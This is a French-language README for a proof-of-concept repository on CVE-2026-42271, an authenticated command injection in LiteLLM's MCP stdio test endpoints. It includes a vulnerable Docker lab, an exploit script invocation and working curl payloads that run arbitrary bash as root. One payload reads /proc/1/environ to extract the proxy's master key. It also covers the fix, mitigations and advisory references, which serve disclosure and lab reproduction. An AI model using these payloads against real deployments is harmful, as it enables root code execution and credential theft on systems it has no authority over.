CVE-2026-42271 — Injection de commande authentifiée dans LiteLLM via les endpoints de test MCP stdio

LiteLLM POST /mcp-rest/test/connection et POST /mcp-rest/test/tools/list — Injection de commande authentifiée via le transport MCP stdio. Toute clé API valide peut exécuter des commandes OS arbitraires en tant que root (dans le déploiement Docker par défaut).

L'image est fixée par digest : le conteneur vulnérable est fixé à LiteLLM v1.82.6, garantissant une reproductibilité à long terme.

Description

Deux endpoints utilisés pour prévisualiser un serveur MCP avant de l'enregistrer — POST /mcp-rest/test/connection et POST /mcp-rest/test/tools/list — acceptent une configuration complète du serveur MCP dans le corps de la requête, incluant les champs command, args et env utilisés par le transport stdio.

Lorsqu'ils sont appelés avec une configuration stdio, les endpoints exécutent la commande fournie en tant que sous-processus sur l'hôte proxy avec les privilèges du processus proxy (root dans le Docker par défaut).

Problème clé : Les endpoints vérifient uniquement la validité d'une clé API proxy sans vérification de rôle — même les clés internal_user à faible privilège peuvent exploiter cette vulnérabilité.

Preuve de concept

Démarrage rapide (Docker)

# 1. Démarrer une instance LiteLLM vulnérable (épinglée à v1.82.6)
docker compose up -d

# 2. Exécuter l'exploit
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" --cmd "id"

# Ou utiliser curl directement (RCE aveugle — la réponse peut afficher une erreur mais la commande s'exécute)
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/mcp-rest/test/tools/list \
  -d '{
    "transport": "stdio",
    "command": "bash",
    "args": ["-c", "id > /tmp/pwned"]
  }'

Vérifier l'exécution

# Vérifier que la commande s'est exécutée dans le conteneur
docker exec litellm-cve cat /tmp/pwned
# Sortie : uid=0(root) gid=0(root) groups=0(root),0(root),...

L'API renvoie "Failed to connect to MCP server" car le processus lancé ne parle pas le protocole MCP — mais la commande a déjà été exécutée avec les privilèges root.

Scénarios d'attaque

Endpoints vulnérables

POST /mcp-rest/test/connection

Teste une connexion à un serveur MCP. Avec le transport stdio, lance la commande fournie.

POST /mcp-rest/test/tools/list

Liste les outils d'un serveur MCP de test. Même comportement — lance la commande fournie lors de l'utilisation du transport stdio.

Format du corps de la requête

{
  "transport": "stdio",
  "command": "bash",
  "args": ["-c", "<commande malveillante>"],
  "env": {
    "PATH": "/usr/bin:/bin"
  }
}

Analyse du correctif (v1.83.7)

Le correctif a ajouté deux couches de défense :

1. Liste blanche de commandes via validate_transport_fields() — autorise uniquement : npx, uvx, python, python3, node, docker, deno
2. Contrôle d'accès basé sur les rôles — les deux endpoints nécessitent désormais le rôle PROXY_ADMIN

Structure du dépôt

CVE-2026-42271/
├── README.md                  # Ce fichier
├── docker-compose.yml         # Environnement vulnérable en une commande (épinglé à v1.82.6)
├── requirements.txt           # Dépendances
├── exploit/
│   ├── exploit.py             # Script d'exploit complet
│   └── payload.py             # Module de génération de charges utiles
├── docs/
│   └── advisory.md            # Référence d'avis
└── screenshots/               # Captures d'écran de démonstration

Mesures d'atténuation

1. Mettre à niveau vers LiteLLM v1.83.7+ (liste blanche de commandes + vérification du rôle PROXY_ADMIN)
2. Bloquer les endpoints /mcp-rest/test/connection et /mcp-rest/test/tools/list au niveau du proxy inverse
3. Restreindre les privilèges des clés API — faire tourner les clés en cas de suspicion de compromission
4. Exécuter en tant que non-root dans Docker : docker run --user 1000:1000 ...

⚠️ Note : Isolation des variables d'environnement du SDK MCP

Lors de la reproduction de la section 5.7 (extraction des variables d'environnement du processus) , il convient de noter que MCP Python SDK v1.25.0+, lors de la création d'un sous-processus stdio, n'hérite pas des variables d'environnement du processus parent LiteLLM. Le SDK via get_default_environment() ne transmet que HOME et PATH, puis fusionne les champs env explicitement spécifiés par l'utilisateur.

Par conséquent, env > /tmp/env_dump ne permet pas de capturer LITELLM_MASTER_KEY.

Méthode correcte : Extraire les variables d'environnement en lisant /proc/1/environ du processus principal LiteLLM :

# Extraire les variables d'environnement (via /proc/1/environ)
curl -s -X POST \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  http://localhost:4000/mcp-rest/test/tools/list \
  -d '{
    "transport": "stdio",
    "command": "bash",
    "args": ["-c", "cat /proc/1/environ | tr \"\\0\" \"\\n\" > /tmp/env_dump"]
  }'

# Afficher le résultat
docker exec litellm-cve cat /tmp/env_dump | grep -E "LITELLM|MASTER"
# Sortie : LITELLM_MASTER_KEY=sk-litellm-master-key

Voir la section 5.7 du rapport de reproduction.

Références

• Avis de sécurité GitHub GHSA-v4p8-mg3p-g94g
• Avis GitLab
• Détail NVD
• Version v1.83.7-stable
• Documentation MCP LiteLLM

Avertissement : Ce contenu est fourni à des fins éducatives et de tests de sécurité autorisés uniquement.